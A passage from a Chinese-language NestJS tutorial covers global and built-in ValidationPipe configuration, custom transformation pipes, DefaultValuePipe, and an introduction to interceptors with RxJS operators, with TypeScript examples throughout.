        whitelist: true, // 过滤非 DTO 属性
        forbidNonWhitelisted: true, // 非 DTO 属性抛异常
        transform: true, // 自动类型转换
        transformOptions: { enableImplicitConversion: true }, // 隐式转换
      }),
    },
  ],
})
export class AppModule {}
```

## 全局作用域管道{#global-scope-pipes}

`ValidationPipe` 设计为通用的验证工具，通过将其设置为**全局作用域管道**，可以应用于整个应用的每个路由处理程序，统一验证所有控制器参数（如 `@Body()`、`@Query()`、`@Param()`）。以下是两种设置全局管道的方式，以及对网关、微服务和非混合微服务的解释和示例。

在 `main.ts` 中设置全局管道

**通过 `app.useGlobalPipes()` 在应用初始化时设置全局管道：**

```typescript
import { NestFactory } from '@nestjs/core';
import { ValidationPipe } from '@nestjs/common';
import { AppModule } from './app.module';

async function bootstrap() {
  const app = await NestFactory.create(AppModule);
  app.useGlobalPipes(
    new ValidationPipe({
      whitelist: true, // 过滤非 DTO 属性
      forbidNonWhitelisted: true, // 非 DTO 属性抛异常
      transform: true, // 自动类型转换
      transformOptions: { enableImplicitConversion: true }, // 隐式转换
    }),
  );
  await app.listen(process.env.PORT ?? 3000);
}
bootstrap();
```

**代码解释**：

`app.useGlobalPipes(new ValidationPipe())`：为整个应用设置全局管道，验证所有控制器方法的参数。

配置选项

* `whitelist: true`：忽略 DTO 未定义的属性。
* `forbidNonWhitelisted: true`：非 DTO 属性抛出 `BadRequestException`。
* `transform: true`：自动将输入转为 DTO 定义的类型（如 `"2"` 转为 `2`）。

局限性

* 在**混合应用**（包含 HTTP 和微服务的应用）中，`useGlobalPipes()` 不适用于**网关**（如 WebSocket 网关）或**微服务**。
* 全局管道无法通过 DI（依赖注入）注入依赖，因为它在模块上下文之外注册。

**注意**：对于标准（非混合）微服务应用，`useGlobalPipes()` 仍然有效，但仅限于微服务上下文。

**在模块中设置全局管道**

通过 `APP_PIPE` 令牌在模块中注册全局管道，利用 DI 容器：

```typescript
import { Module } from '@nestjs/common';
import { APP_PIPE } from '@nestjs/core';
import { ValidationPipe } from '@nestjs/common';

@Module({
  providers: [
    {
      provide: APP_PIPE,
      useClass: ValidationPipe, // 或 useValue: new ValidationPipe({...})
    },
  ],
})
export class AppModule {}
```

**代码解释**：

`APP_PIPE`：NestJS 提供的令牌，用于注册全局管道。

`useClass: ValidationPipe`：让 DI 容器自动实例化管道，支持依赖注入。

优势

* 支持 DI，管道可以注入其他服务（如配置服务）。
* 全局作用域，适用于所有控制器和路由处理程序。

**适用模块**：可以在任意模块（如 `AppModule`）中定义，管道对整个应用生效。

**提示**：`useClass` 是注册自定义提供者的常用方式，也可以用 `useValue` 传递实例（`new ValidationPipe({...})`）或 `useFactory` 动态创建管道。

**网关、微服务和非混合微服务的解释与示例**

**网关（Gateway）**

定义：网关是 NestJS 中处理实时通信（如 WebSocket、gRPC）的组件，通常用于实时应用（如聊天、通知）。网关通过 `@WebSocketGateway()` 装饰器定义，不直接处理 HTTP 请求，因此不受 `app.useGlobalPipes()` 影响。

**示例**：一个简单的 WebSocket 网关，用于实时聊天：

```typescript
import { WebSocketGateway, SubscribeMessage, MessageBody } from '@nestjs/websockets';
import { IsString, IsNotEmpty } from 'class-validator';

// DTO 定义
class MessageDto {
  @IsString()
  @IsNotEmpty()
  content: string;
}

@WebSocketGateway()
export class ChatGateway {
  @SubscribeMessage('message')
  handleMessage(@MessageBody() message: MessageDto) {
    return { event: 'message', data: message.content };
  }
}
```

**模块注册**：

```typescript
import { Module } from '@nestjs/common';
import { APP_PIPE } from '@nestjs/core';
import { ValidationPipe } from '@nestjs/common';
import { ChatGateway } from './chat.gateway';

@Module({
  providers: [
    ChatGateway,
    {
      provide: APP_PIPE,
      useValue: new ValidationPipe({ transform: true }),
    },
  ],
})
export class AppModule {}
```

**说明**：

`@WebSocketGateway()`：定义 WebSocket 网关，监听客户端事件。

`@SubscribeMessage('message')`：处理名为 `message` 的事件。

**管道限制**：`app.useGlobalPipes()` 不适用于网关，但 `APP_PIPE` 在模块中注册的管道对网关生效。

测试

* 客户端发送 `{ "content": "Hello" }`：验证通过，返回 `{ event: "message", data: "Hello" }`。
* 客户端发送 `{ "content": "" }`：抛出 `BadRequestException`。

**微服务（Microservice）**

**定义**：微服务是 NestJS 中用于分布式系统的模块，通过 `@nestjs/microservices` 提供支持（如 TCP、Redis、gRPC 通信）。微服务不依赖 HTTP 协议，通常用于模块化、高可扩展的架构。微服务可以是**混合应用**（与 HTTP 应用共存）或**非混合微服务**（独立运行）。

**示例**：一个 TCP 微服务，处理猫咪创建请求：

```typescript
import { Controller } from '@nestjs/common';
import { MessagePattern } from '@nestjs/microservices';
import { IsString, IsInt, IsNotEmpty, Min } from 'class-validator';

// DTO 定义
class CreateCatDto {
  @IsString()
  @IsNotEmpty()
  name: string;

  @IsInt()
  @Min(1)
  age: number;

  @IsString()
  @IsNotEmpty()
  breed: string;
}

@Controller()
export class CatsMicroserviceController {
  @MessagePattern({ cmd: 'create_cat' })
  createCat(data: CreateCatDto) {
    return { message: 'Cat created', data };
  }
}
```

**模块注册**：

```typescript
import { Module } from '@nestjs/common';
import { APP_PIPE } from '@nestjs/core';
import { ValidationPipe } from '@nestjs/common';
import { CatsMicroserviceController } from './cats-microservice.controller';

@Module({
  controllers: [CatsMicroserviceController],
  providers: [
    {
      provide: APP_PIPE,
      useValue: new ValidationPipe({ transform: true }),
    },
  ],
})
export class AppModule {}
```

**启动微服务**：

```typescript
import { NestFactory } from '@nestjs/core';
import { MicroserviceOptions, Transport } from '@nestjs/microservices';
import { AppModule } from './app.module';

async function bootstrap() {
  const app = await NestFactory.createMicroservice<MicroserviceOptions>(AppModule, {
    transport: Transport.TCP,
    options: { host: '127.0.0.1', port: 3001 },
  });
  await app.listen();
}
bootstrap();
```

**说明**：

`@MessagePattern({ cmd: 'create_cat' })`：监听 `create_cat` 消息。

**管道支持**：`APP_PIPE` 注册的全局管道对微服务有效，验证 `CreateCatDto`。

测试

* 客户端发送 `{ cmd: "create_cat", data: { name: "Fluffy", age: 2, breed: "Persian" } }`：返回 `{ message: "Cat created", data: {...} }`。
* 客户端发送 `{ cmd: "create_cat", data: { name: "", age: -1 } }`：抛出 `BadRequestException`。

**非混合微服务**

**定义**：非混合微服务是指独立运行的微服务应用，不与 HTTP 服务器（如 Express）结合。`app.useGlobalPipes()` 在这种场景下仍然有效，因为它只处理微服务上下文。

**示例**：独立 TCP 微服务（与上述类似，但明确为非混合）：

```typescript
// cats-microservice.controller.ts (同上)
import { Controller } from '@nestjs/common';
import { MessagePattern } from '@nestjs/microservices';
import { IsString, IsInt, IsNotEmpty, Min } from 'class-validator';

class CreateCatDto {
  @IsString()
  @IsNotEmpty()
  name: string;

  @IsInt()
  @Min(1)
  age: number;

  @IsString()
  @IsNotEmpty()
  breed: string;
}

@Controller()
export class CatsMicroserviceController {
  @MessagePattern({ cmd: 'create_cat' })
  createCat(data: CreateCatDto) {
    return { message: 'Cat created', data };
  }
}
```

**模块**：

```typescript
import { Module } from '@nestjs/common';
import { CatsMicroserviceController } from './cats-microservice.controller';

@Module({
  controllers: [CatsMicroserviceController],
})
export class AppModule {}
```

**启动**：

```typescript
import { NestFactory } from '@nestjs/core';
import { MicroserviceOptions, Transport } from '@nestjs/microservices';
import { ValidationPipe } from '@nestjs/common';
import { AppModule } from './app.module';

async function bootstrap() {
  const app = await NestFactory.createMicroservice<MicroserviceOptions>(AppModule, {
    transport: Transport.TCP,
    options: { host: '127.0.0.1', port: 3001 },
  });
  app.useGlobalPipes(new ValidationPipe({ transform: true }));
  await app.listen();
}
bootstrap();
```

**说明**：

* **非混合**：此应用仅作为微服务运行，不包含 HTTP 服务器。
* `app.useGlobalPipes()`：在非混合微服务中有效，验证所有消息模式的数据。
* **测试**：同上，验证 `CreateCatDto` 的字段。

**混合应用**

**定义**：混合应用同时支持 HTTP 和微服务（如 WebSocket、TCP），通过 `NestFactory.create` 创建 HTTP 应用，再附加微服务。

**示例**：

```typescript
import { NestFactory } from '@nestjs/core';
import { MicroserviceOptions, Transport } from '@nestjs/microservices';
import { ValidationPipe } from '@nestjs/common';
import { AppModule } from './app.module';

async function bootstrap() {
  const app = await NestFactory.create(AppModule); // HTTP 应用
  app.useGlobalPipes(new ValidationPipe({ transform: true }));

  // 附加微服务
  app.connectMicroservice<MicroserviceOptions>({
    transport: Transport.TCP,
    options: { host: '127.0.0.1', port: 3001 },
  });

  await app.startAllMicroservices(); // 启动微服务
  await app.listen(3000); // 启动 HTTP 服务
}
bootstrap();
```

**说明**：

* `app.useGlobalPipes()`：仅对 HTTP 路由生效，不影响微服务。
* **解决办法**：在 `AppModule` 中使用 `APP_PIPE` 注册全局管道，确保 HTTP 和微服务都受影响。

## 内置的 ValidationPipe{#the-built-in-validationpipe}

NestJS 提供了一个内置的 `ValidationPipe`（从 `@nestjs/common` 导入），无需自行构建即可实现强大的 DTO 验证功能。相比我们在前几节中创建的自定义验证管道，内置 `ValidationPipe` 提供了更多配置选项（如 `whitelist`、`transform` 等），功能更全面，适合生产环境。本节将简要介绍内置 `ValidationPipe` 的用法和优势，并通过示例展示如何结合 `class-validator` 和 `class-transformer` 验证 DTO。

**提示**：内置 `ValidationPipe` 的完整文档和更多示例可参考 [验证章节](../技术/nest-validation.md)

**核心功能与配置选项**

内置 `ValidationPipe` 的主要功能是通过 `class-validator` 和 `class-transformer` 验证和转换请求参数（如 `@Body()`、`@Query()`、`@Param()`）。它支持以下关键配置选项：

* **`whitelist: true`**：过滤掉 DTO 中未定义的属性，防止意外数据进入。
* **`forbidNonWhitelisted: true`**：非 DTO 定义的属性抛出 `BadRequestException`。
* **`transform: true`**：自动将输入转为 DTO 定义的类型（如字符串 `"2"` 转为整数 `2`）。
* **`transformOptions: { enableImplicitConversion: true }`**：启用隐式类型转换（通过类型），无需显式装饰器。
* **`disableErrorMessages: boolean`**：禁用详细错误消息（安全性考虑）。
* **`exceptionFactory`**：自定义异常生成逻辑。

**代码示例**

1. 安装依赖

确保安装 `class-validator` 和 `class-transformer`：

```bash
npm install --save class-validator class-transformer
```

在 `tsconfig.json` 中启用元数据支持：

```json
{
  "compilerOptions": {
    "experimentalDecorators": true,
    "emitDecoratorMetadata": true,
    "strictNullChecks": true
  }
}
```

2. 定义 DTO

使用 `class-validator` 装饰器定义验证规则：

```typescript
import { IsString, IsInt, IsNotEmpty, Min, MinLength } from 'class-validator';

export class CreateCatDto {
  @IsString()
  @IsNotEmpty()
  @MinLength(2)
  name: string;

  @IsInt()
  @Min(1)
  age: number;

  @IsString()
  @IsNotEmpty()
  breed: string;
}
```

**说明**：

* `@IsString()` 和 `@IsNotEmpty()`：确保 `name` 和 `breed` 是非空字符串。
* `@MinLength(2)`：确保 `name` 至少 2 个字符。
* `@IsInt()` 和 `@Min(1)`：确保 `age` 是正整数。

3. 使用内置 ValidationPipe

参数级绑定

在控制器方法中为 `@Body()` 绑定 `ValidationPipe`：

```typescript
import { Controller, Post, Body } from '@nestjs/common';
import { ValidationPipe } from '@nestjs/common';
import { CreateCatDto } from './create-cat.dto';
import { CatsService } from './cats.service';

@Controller('cats')
export class CatsController {
  constructor(private readonly catsService: CatsService) {}

  @Post()
  async create(@Body(new ValidationPipe({ transform: true })) createCatDto: CreateCatDto) {
    return this.catsService.create(createCatDto);
  }
}
```

**代码解释**：

* `@Body(new ValidationPipe({ transform: true }))`：仅验证请求体，自动将输入转为 `CreateCatDto` 类型。
* **验证行为**：检查 `name`、`age`、`breed` 是否符合规则，失败抛出 `BadRequestException`。

**全局管道**

在 `main.ts` 或模块中设置全局管道：

**方式 1：在 `main.ts` 中**：

```typescript
import { NestFactory } from '@nestjs/core';
import { ValidationPipe } from '@nestjs/common';
import { AppModule } from './app.module';

async function bootstrap() {
  const app = await NestFactory.create(AppModule);
  app.useGlobalPipes(
    new ValidationPipe({
      whitelist: true,
      forbidNonWhitelisted: true,
      transform: true,
      transformOptions: { enableImplicitConversion: true },
    }),
  );
  await app.listen(process.env.PORT ?? 3000);
}
bootstrap();
```

**方式 2：在 `AppModule` 中**：

```typescript
import { Module } from '@nestjs/common';
import { APP_PIPE } from '@nestjs/core';
import { ValidationPipe } from '@nestjs/common';
import { CatsController } from './cats.controller';
import { CatsService } from './cats.service';

@Module({
  controllers: [CatsController],
  providers: [
    CatsService,
    {
      provide: APP_PIPE,
      useValue: new ValidationPipe({
        whitelist: true,
        forbidNonWhitelisted: true,
        transform: true,
        transformOptions: { enableImplicitConversion: true },
      }),
    },
  ],
})
export class AppModule {}
```

**说明**：

* **`APP_PIPE`**：支持依赖注入，适用于 HTTP、网关和微服务。
* **全局效果**：验证所有控制器参数（`@Body()`、`@Query()`、`@Param()`）。

**开发建议**

1. 优化全局管道配置

```typescript
@Module({
  providers: [
    {
      provide: APP_PIPE,
      useValue: new ValidationPipe({
        whitelist: true,
        forbidNonWhitelisted: true,
        transform: true,
        transformOptions: { enableImplicitConversion: true },
        exceptionFactory: (errors) =>
          new BadRequestException(
            errors
              .map((err) => Object.values(err.constraints).join(', '))
              .join('; '),
          ),
      }),
    },
  ],
})
export class AppModule {}
```

* **自定义异常**：通过 `exceptionFactory` 提供详细错误消息。

2. 结合其他管道

为特定参数使用其他管道（如 `ParseIntPipe`）：

```typescript
@Get(':id')
async findOne(@Param('id', ParseIntPipe) id: number) {
  return this.catsService.findOne(id);
}
```

* **全局管道**：验证 DTO（如 `@Body()`）。
* **参数级管道**：处理特定参数（如 `id`）。

## 转换用例{#transformation-use-case}

管道（Pipes）不仅用于验证，还能通过 `transform` 方法将输入数据转换为所需格式。**转换管道的返回值会完全覆盖原始参数值**，这使其非常适合处理客户端输入的预处理，例如将字符串转为整数、应用默认值，或从数据库获取实体。本节展示如何实现一个简单的自定义 `ParseIntPipe`，以及一个从 ID 获取用户实体的 `UserByIdPipe`，并解释转换管道的典型用例和绑定方式。

**提示**：NestJS 提供内置的 `ParseIntPipe`，功能更强大（支持配置错误状态码等）。本例中的自定义 `ParseIntPipe` 仅为演示目的，保持简单。

**核心功能**

**转换**：将输入（如字符串）转为目标格式（如整数、对象）。

**覆盖值**：`transform` 方法的返回值替换原始参数值。

用例：

* 将字符串转为数字（如 `"123"` → `123`）。
* 为缺失字段设置默认值。
* 从数据库查询实体（如 ID → `UserEntity`）。

**代码示例**

1. 自定义 ParseIntPipe

实现一个简单的 `ParseIntPipe`，将字符串转为整数：

```typescript
import { PipeTransform, Injectable, BadRequestException, ArgumentMetadata } from '@nestjs/common';

@Injectable()
export class ParseIntPipe implements PipeTransform<string, number> {
  transform(value: string, metadata: ArgumentMetadata): number {
    const val = parseInt(value, 10);
    if (isNaN(val)) {
      throw new BadRequestException('Validation failed: Expected a numeric string');
    }
    return val; // 返回转换后的整数
  }
}
```

**代码解释**：

* **`PipeTransform<string, number>`**：泛型接口，指定输入为 `string`，输出为 `number`。
* **`parseInt(value, 10)`**：将字符串转为十进制整数。
* **`isNaN(val)`**：检查转换是否失败，失败抛出 `BadRequestException`。
* **返回值**：转换后的整数覆盖原始参数值。

2. 绑定 ParseIntPipe

将 `ParseIntPipe` 绑定到路由参数：

```typescript
import { Controller, Get, Param } from '@nestjs/common';
import { ParseIntPipe } from './parse-int.pipe';
import { CatsService } from './cats.service';

@Controller('cats')
export class CatsController {
  constructor(private readonly catsService: CatsService) {}

  @Get(':id')
  async findOne(@Param('id', new ParseIntPipe()) id: number) {
    return this.catsService.findOne(id); // id 已转为整数
  }
}
```

**行为**：

* 请求 `GET /cats/123`：`id` 转为 `123`（number），调用 `catsService.findOne(123)`。
* 请求 `GET /cats/abc`：抛出 `BadRequestException`，错误消息为 `"Validation failed: Expected a numeric string"`。

3. 自定义 UserByIdPipe

实现一个从 ID 获取用户实体的转换管道：

```typescript
import { PipeTransform, Injectable, BadRequestException, ArgumentMetadata } from '@nestjs/common';
import { UsersService } from './users.service';

@Injectable()
export class UserByIdPipe implements PipeTransform<string, Promise<UserEntity>> {
  constructor(private readonly usersService: UsersService) {}

  async transform(value: string, metadata: ArgumentMetadata): Promise<UserEntity> {
    const id = parseInt(value, 10);
    if (isNaN(id)) {
      throw new BadRequestException('Invalid ID: Expected a numeric string');
    }
    const user = await this.usersService.findById(id);
    if (!user) {
      throw new BadRequestException(`User with ID ${id} not found`);
    }
    return user; // 返回 UserEntity
  }
}

interface UserEntity {
  id: number;
  name: string;
}
```

**代码解释**：

* **依赖注入**：注入 `UsersService` 用于数据库查询。
* **`transform`**：异步方法，将字符串 ID 转为整数，查询数据库，返回 `UserEntity`。
* **异常**：ID 无效或用户不存在时抛出 `BadRequestException`。

4. 绑定 UserByIdPipe

将 `UserByIdPipe` 绑定到路由参数：

```typescript
import { Controller, Get, Param } from '@nestjs/common';
import { UserByIdPipe } from './user-by-id.pipe';
import { UserEntity } from './users.service';

@Controller('users')
export class UsersController {
  @Get(':id')
  findOne(@Param('id', UserByIdPipe) userEntity: UserEntity) {
    return userEntity; // 直接返回用户实体
  }
}
```

**模拟服务**：

```typescript
import { Injectable } from '@nestjs/common';
import { UserEntity } from './users.service';

@Injectable()
export class UsersService {
  async findById(id: number): Promise<UserEntity | null> {
    // 模拟数据库查询
    const users: UserEntity[] = [
      { id: 1, name: 'Alice' },
      { id: 2, name: 'Bob' },
    ];
    return users.find((user) => user.id === id) || null;
  }
}
```

**行为**：

* 请求 `GET /users/1`：返回 `{ id: 1, name: "Alice" }`。
* 请求 `GET /users/abc`：抛出 `BadRequestException: Invalid ID: Expected a numeric string`。
* 请求 `GET /users/3`：抛出 `BadRequestException: User with ID 3 not found`。

5. 全局异常过滤器

确保管道抛出的异常被格式化：

```typescript
import { Catch, ArgumentsHost, HttpStatus, HttpException } from '@nestjs/common';
import { BaseExceptionFilter } from '@nestjs/core';

@Catch()
export class AllExceptionsFilter extends BaseExceptionFilter {
  catch(exception: any, host: ArgumentsHost) {
    const ctx = host.switchToHttp();
    const status = exception instanceof HttpException ? exception.getStatus() : HttpStatus.INTERNAL_SERVER_ERROR;
    const responseBody = {
      statusCode: status,
      timestamp: new Date().toISOString(),
      path: this.httpAdapter.getRequestUrl(ctx.getRequest()),
      message: exception.message || 'Something went wrong',
    };
    this.httpAdapter.reply(ctx.getResponse(), responseBody, status);
  }
}
```

**注册**：

```typescript
import { Module } from '@nestjs/common';
import { APP_FILTER } from '@nestjs/core';
import { UsersController } from './users.controller';
import { UsersService } from './users.service';

@Module({
    controllers: [UsersController],
    providers: [UsersService, { provide: APP_FILTER, useClass: AllExceptionsFilter }],
})
export class AppModule {}
```

**开发建议**

1. 使用内置 ParseIntPipe

生产环境推荐 NestJS 内置的 `ParseIntPipe`：

```typescript
@Get(':id')
async findOne(@Param('id', ParseIntPipe) id: number) {
  return this.catsService.findOne(id);
}
```

* 支持配置（如 `new ParseIntPipe({ errorHttpStatusCode: HttpStatus.NOT_FOUND })`）。

2. 实现默认值管道

为缺失字段添加默认值：

```typescript
import { PipeTransform, Injectable, ArgumentMetadata } from '@nestjs/common';

@Injectable()
export class DefaultValuePipe implements PipeTransform {
  constructor(private defaultValue: any) {}

  transform(value: any, metadata: ArgumentMetadata) {
    return value ?? this.defaultValue; // 如果值为空，返回默认值
  }
}
```

**使用**：

```typescript
@Get()
async findAll(@Query('page', new DefaultValuePipe(1)) page: number) {
  return this.catsService.findAll(page);
}
```

3. 优化 UserByIdPipe

缓存查询结果以提高性能：

```typescript
@Injectable()
export class UserByIdPipe implements PipeTransform<string, Promise<UserEntity>> {
  private cache = new Map<number, UserEntity>();

  constructor(private readonly usersService: UsersService) {}

  async transform(value: string, metadata: ArgumentMetadata): Promise<UserEntity> {
    const id = parseInt(value, 10);
    if (isNaN(id)) {
      throw new BadRequestException('Invalid ID: Expected a numeric string');
    }
    if (this.cache.has(id)) {
      return this.cache.get(id)!;
    }
    const user = await this.usersService.findById(id);
    if (!user) {
      throw new BadRequestException(`User with ID ${id} not found`);
    }
    this.cache.set(id, user);
    return user;
  }
}
```

## 提供默认值{#providing-defaults}

`Parse*` 管道（如 `ParseIntPipe`、`ParseBoolPipe`）要求输入参数值必须存在，若收到 `null` 或 `undefined`，会抛出异常。为了处理缺失的查询字符串参数（如可选的 `page` 或 `activeOnly`），可以使用 `DefaultValuePipe` 在 `Parse*` 管道之前为缺失值注入默认值。

**核心功能**

* **`DefaultValuePipe`**：为缺失或 `undefined` 的参数提供默认值。
* **与 `Parse\*` 管道结合**：先注入默认值，再由 `Parse*` 管道进行类型转换。
* **适用场景**：处理可选查询参数（如分页参数 `page` 或过滤条件 `activeOnly`）。

**代码示例**

1. 使用 DefaultValuePipe 和 Parse\* 管道

在控制器方法中为查询参数绑定 `DefaultValuePipe` 和 `Parse*` 管道：

```typescript
import { Controller, Get, Query } from '@nestjs/common';
import { DefaultValuePipe, ParseBoolPipe, ParseIntPipe } from '@nestjs/common';
import { CatsService } from './cats.service';

@Controller('cats')
export class CatsController {
  constructor(private readonly catsService: CatsService) {}

  @Get()
  async findAll(
    @Query('activeOnly', new DefaultValuePipe(false), ParseBoolPipe) activeOnly: boolean,
    @Query('page', new DefaultValuePipe(0), ParseIntPipe) page: number,
  ) {
    return this.catsService.findAll({ activeOnly, page });
  }
}
```

**代码解释**：

`DefaultValuePipe(false)`：若 `activeOnly` 缺失或 `undefined`，提供默认值 `false`。

`ParseBoolPipe`：将字符串（如 `"true"`、`"false"`）转为布尔值，失败抛出 `BadRequestException`。

`DefaultValuePipe(0)`：若 `page` 缺失或 `undefined`，提供默认值 `0`。

`ParseIntPipe`：将字符串转为整数，失败抛出 `BadRequestException`。

**管道顺序**：管道按声明顺序执行，`DefaultValuePipe` 先处理缺失值，`Parse*` 管道再进行转换。

---

---
url: /nest/l63732jr/index.md
---
# 拦截器
## 拦截器{#interceptors}

拦截器（Interceptors）是 NestJS 中一个强大的功能，它就像是一个"中间人"，**可以在请求到达控制器的具体方法之前和响应发送给客户端之前进行拦截和处理**。通过 `@Injectable()` 装饰器注解并实现 `NestInterceptor` 接口来创建。

***

**拦截器的设计灵感来自 AOP（面向切面编程）**，它允许在不修改业务代码的情况下，添加横切关注点（cross-cutting concerns），如日志记录、性能监控、权限验证等。

***

拦截器可以实现以下功能：

**方法前后逻辑**：在请求处理前后注入自定义逻辑，如日志记录或请求验证。

**结果转换**：修改或统一控制器返回的数据格式。

**异常处理**：捕获并转换执行过程中抛出的异常，实现统一处理。

**功能扩展**：为现有功能添加额外行为，如修改响应头或状态码。

**条件执行**：根据特定条件决定是否执行原函数，如缓存或权限控制。

这些功能使得拦截器成为实现横切关注点的理想工具，能够以非侵入式的方式增强应用程序的功能。

## 基本{#basics}

每个拦截器需实现 `intercept()` 方法，接收两个参数：

**`ExecutionContext`**：继承自 `ArgumentsHost`，提供访问底层请求、响应等对象的能力，并根据应用类型（HTTP、RPC、WebSocket）暴露不同参数。可通过 `switchToHttp().getRequest()`、`switchToHttp().getResponse()` 或对应的 `switchToRpc()`、`switchToWs()` 获取原生对象。

同时增加了访问元数据的能力，可通过 `getHandler()` 获取当前处理方法，通过 `getClass()` 获取控制器类，便于基于元数据实现自定义逻辑或权限控制。

**`CallHandler`**：实现 `handle()` 方法，用于调用路由处理程序，必须调用才能执行后续处理。

简而言之，`ExecutionContext` 提供上下文与元数据访问，`CallHandler` 负责触发请求处理。

## 执行上下文{#execution-context}

通过扩展 `ArgumentsHost`，`ExecutionContext` 添加了几个重要的辅助方法，这些方法提供了关于当前执行过程的详细信息：

1. **getClass()** - 返回当前处理请求的控制器类的类型。这对于需要基于控制器类型进行不同处理的场景非常有用。

2. **getHandler()** - 返回对将要调用的处理程序（路由处理方法）的引用。这让你能够访问方法的元数据，比如通过装饰器添加的自定义元数据。

3. **getArgs()** - 返回当前处理函数的原始参数数组，比如可以访问控制器方法接收到的所有参数（例如 `req`, `res`, `next` 等）。

4. **getArgByIndex(index: number)** - 通过索引获取特定参数，比如当只想访问某个特定参数时，比如只取请求对象。

5. **switchToHttp()** - 切换到 HTTP 上下文，返回 `HttpArgumentsHost` 对象，提供 HTTP 请求和响应的便捷访问方法。

6. **switchToRpc()** - 切换到 RPC 上下文，返回 `RpcArgumentsHost` 对象，用于微服务或 RPC 场景。

7. **switchToWs()** - 切换到 WebSocket 上下文，返回 `WsArgumentsHost` 对象，用于 WebSocket 网关场景。

8. **getType\<TContext = string>()** - 返回当前上下文类型，例如 `'http' | 'rpc' | 'ws'`，在拦截器或守卫里区分处理类型。

这些方法使得拦截器能够：

* **访问元数据** - 结合自定义装饰器，可以读取控制器或方法级别的元数据，实现更灵活的逻辑控制
* **动态处理** - 根据不同的控制器类型或处理方法采取不同的处理策略
* **条件执行** - 基于方法特征决定是否执行某些逻辑，如缓存、日志等
* **权限控制** - 结合角色装饰器，实现细粒度的权限验证

## 调用处理程序{#call-handler}

`CallHandler` 接口实现了 `handle()` 方法，这个方法在拦截器中扮演着关键角色。它的主要作用是调用路由处理程序方法。需要注意的是，如果在 `intercept()` 方法中没有调用 `handle()`，路由处理程序将不会被执行。

这种设计使得 `intercept()` 方法能够完全控制请求/响应流程：

1. 你可以在调用 `handle()` 之前执行前置逻辑
2. 由于 `handle()` 返回 Observable，你可以使用 RxJS 操作符处理响应流
3. 这种设计符合面向切面编程(AOP)理念，其中路由处理程序的调用点被称为"切入点"

```ts
import { Injectable, NestInterceptor, ExecutionContext, CallHandler } from '@nestjs/common';
import { Observable } from 'rxjs';
import { tap, map, catchError } from 'rxjs/operators';

@Injectable()
export class LoggingInterceptor implements NestInterceptor {
  intercept(context: ExecutionContext, next: CallHandler): Observable<any> {
    console.log('拦截器：请求进入');

    const now = Date.now();

    return next.handle().pipe(
      tap(() => console.log(`拦截器：请求处理完毕，用时 ${Date.now() - now}ms`)),

      map(data => {
        console.log('拦截器：可以在这里修改响应数据');
        return data; // 可以在这里加工/包装响应数据
      }),

      catchError(err => {
        console.error('拦截器：捕获到异常', err);
        throw err; // 重新抛出让框架处理
      })
    );
  }
}
```

`next.handle()`

触发**路由处理程序**的执行（即你的控制器方法真正开始执行）。

它返回一个 **Observable**（可观察的数据流），表示“处理程序的结果（数据）”。

`pipe()`

处理的是**从处理程序返回的数据流**，**在处理程序结果生成后**，在数据**返回客户端前**，插入额外的加工/处理流程。

**作用**：把多个 RxJS 操作符串联在一起，形成“流水线”式的数据处理流程。

**类比**：就像加工流水线一样，数据会顺序通过这些“加工环节”（操作符）进行处理。

```ts
return next.handle().pipe(
  // 各种“加工步骤”在这里
);
```

Nest 的路由处理方法返回的响应是 Observable（可观察的数据流），需要用 `pipe` 把后续逻辑附加上去，否则无法在数据返回前做任何拦截、加工或处理。

`tap()`

**作用**：执行副作用操作（比如日志记录），但**不改变数据**。

**类比**：像“旁观者”，只是看着数据流过，顺便打印或记录一些信息。

```ts
tap(() => console.log('响应数据准备返回'))
```

记录日志、统计耗时、触发某些非核心业务逻辑（比如通知等）。

`map()`

**作用**：**修改/变换数据**，类似数组的 `map` 方法。

**类比**：像“加工环节”，把原材料变成成品。

```ts
map(data => {
  // 修改响应
  return { success: true, data };
})
```

统一包装接口返回格式、转换敏感字段、裁剪数据等。

`catchError()`

**作用**：捕获上游的错误，并做相应处理。

**类比**：像异常处理“护栏”，防止整个流程崩溃。

```ts
catchError(err => {
  console.error('发生错误', err);
  throw err;
})
```

统一错误日志、抛出自定义异常、做降级处理等。

**`handle()`**：就像开启了一条“数据流水线”，你可以接管这个过程。

**`pipe()`**：在流水线上安装“加工设备”。

**`tap()`**：旁观流水线，记录情况。

**`map()`**：修改流水线上的产品。

**`catchError()`**：万一流水线出问题，做应急处理。

因为拦截器本质上是“请求 - 响应过程的拦截层”，有时需要：

* 在**请求进入**时预处理；
* 在**响应返回**前加工数据；
* 在**流程出错**时捕捉异常。

```text
请求进入
   ↓
前置逻辑 (intercept 前半部分)
   ↓
next.handle()  ← 路由处理程序开始工作
   ↓
   数据流返回 (Observable)
   ↓
.pipe(          ← 数据加工阶段
   tap()        ← 旁观记录
   map()        ← 修改包装
   catchError() ← 错误处理
)
   ↓
返回数据给客户端
```

**next.handle()**：开始执行核心业务逻辑（路由处理程序），得到一个“数据流”。

**pipe**：拿到这个“数据流”后，插入自定义逻辑，对即将返回的数据进行加工。

## 切面拦截{#aspect-interception}

在 NestJS 中，**拦截器**（Interceptor）是实现**面向切面编程（AOP）**的重要机制之一。它允许我们在请求进入路由处理程序**之前**和响应返回客户端**之前**，插入自定义的逻辑。

一个典型的使用场景是：**记录用户操作**，如统计接口耗时、记录访问日志、触发异步事件等。

```ts
import { Injectable, NestInterceptor, ExecutionContext, CallHandler } from '@nestjs/common';
import { Observable } from 'rxjs';
import { tap } from 'rxjs/operators';

@Injectable()
export class LoggingInterceptor implements NestInterceptor {
  intercept(context: ExecutionContext, next: CallHandler): Observable<any> {
    console.log('Before...');

    const now = Date.now();

    return next
      .handle()  // 执行路由处理程序（核心业务逻辑）
      .pipe(
        tap(() => console.log(`After... ${Date.now() - now}ms`))  // 记录耗时
      );
  }
}
```

**NestInterceptor\<T, R>**：

泛型接口：

* `T`：请求通过数据流传递时的类型。
* `R`：响应返回的数据类型。

由于 `handle()` 返回的是 RxJS 的 `Observable` 对象，我们可以利用 RxJS 提供的丰富操作符来处理和转换这个数据流。在上述示例中，我们使用了 `tap()` 操作符，它的特点是可以让我们"窥视"数据流，执行一些副作用操作（如记录日志），但不会改变数据流本身。**无论数据流是正常结束还是发生异常，我们注册的匿名日志函数都会被调用，同时又不会干扰到正常的响应流程**。

## 绑定拦截器{#binding-interceptors}

为了设置拦截器，我们可以使用 `@UseInterceptors`，它从 @nestjs/common 导入，和管道和守卫一样，拦截器可以是全局作用域，控制器作用域，方法作用域。

当一个控制器使用 `@UseInterceptors` 装饰器时，拦截器会应用到控制器中的所有路由。

